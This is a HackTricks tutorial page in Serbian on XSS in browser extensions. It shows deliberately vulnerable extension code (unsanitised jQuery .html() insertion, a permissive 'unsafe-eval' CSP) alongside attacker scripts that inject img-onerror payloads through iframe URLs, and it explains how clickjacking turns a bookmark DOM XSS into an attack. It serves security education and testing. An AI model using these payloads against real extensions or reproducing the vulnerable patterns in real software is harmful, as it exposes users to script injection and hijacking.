BrowExt - XSS Primer

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Cross-Site Scripting (XSS) putem Iframe

U ovoj postavci, content script se implementira da instancira Iframe, uključujući URL sa upitnim parametrima kao izvor Iframe-a:

javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})

Javna HTML stranica, message.html, je dizajnirana da dinamički dodaje sadržaj u telo dokumenta na osnovu parametara u URL-u:

javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})

Na stranici protivnika izvršava se zlonamerni skript, modifikujući content parametar izvora Iframe-a kako bi se uveo XSS payload. To se postiže ažuriranjem izvora Iframe-a da uključuje štetan skript:

javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)

Previše permisivna politika bezbednosti sadržaja kao što je:

json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

omogućava izvršavanje JavaScript-a, čineći sistem ranjivim na XSS napade.

Alternativni pristup za izazivanje XSS-a uključuje kreiranje Iframe elementa i postavljanje njegovog izvora da uključuje štetni skript kao content parametar:

javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)

DOM-based XSS + ClickJacking

Ovaj primer je preuzet iz originalnog posta.

Osnovni problem proističe iz DOM-bazirane Cross-site Scripting (XSS) ranjivosti koja se nalazi u /html/bookmarks.html. Problematični JavaScript, deo bookmarks.js, je detaljno opisan u nastavku:

javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})

Ovaj deo koda preuzima vrednost iz txtName ulaznog polja i koristi spajanje stringova za generisanje HTML-a, koji se zatim dodaje u DOM koristeći jQuery-ovu funkciju .append().

Obično, Content Security Policy (CSP) Chrome ekstenzije bi sprečila takve ranjivosti. Međutim, zbog opuštanja CSP-a sa ‘unsafe-eval’ i korišćenja jQuery-ovih metoda manipulacije DOM-om (koje koriste globalEval() za prosleđivanje skripti u eval() prilikom umetanja u DOM), eksploatacija je i dalje moguća.

Iako je ova ranjivost značajna, njena eksploatacija obično zavisi od interakcije korisnika: posete stranici, unošenja XSS payload-a i aktiviranja dugmeta “Add”.

Da bi se pojačala ova ranjivost, koristi se sekundarna clickjacking ranjivost. Manifest Chrome ekstenzije prikazuje opširnu politiku web_accessible_resources:

json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Značajno, stranica /html/bookmarks.html je podložna okviru, što je čini ranjivom na clickjacking. Ova ranjivost se koristi za postavljanje stranice unutar napadačeve lokacije, prekrivajući je DOM elementima kako bi se obmanjivo preuredio interfejs. Ova manipulacija dovodi žrtve do nehotice interakcije sa osnovnom ekstenzijom.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks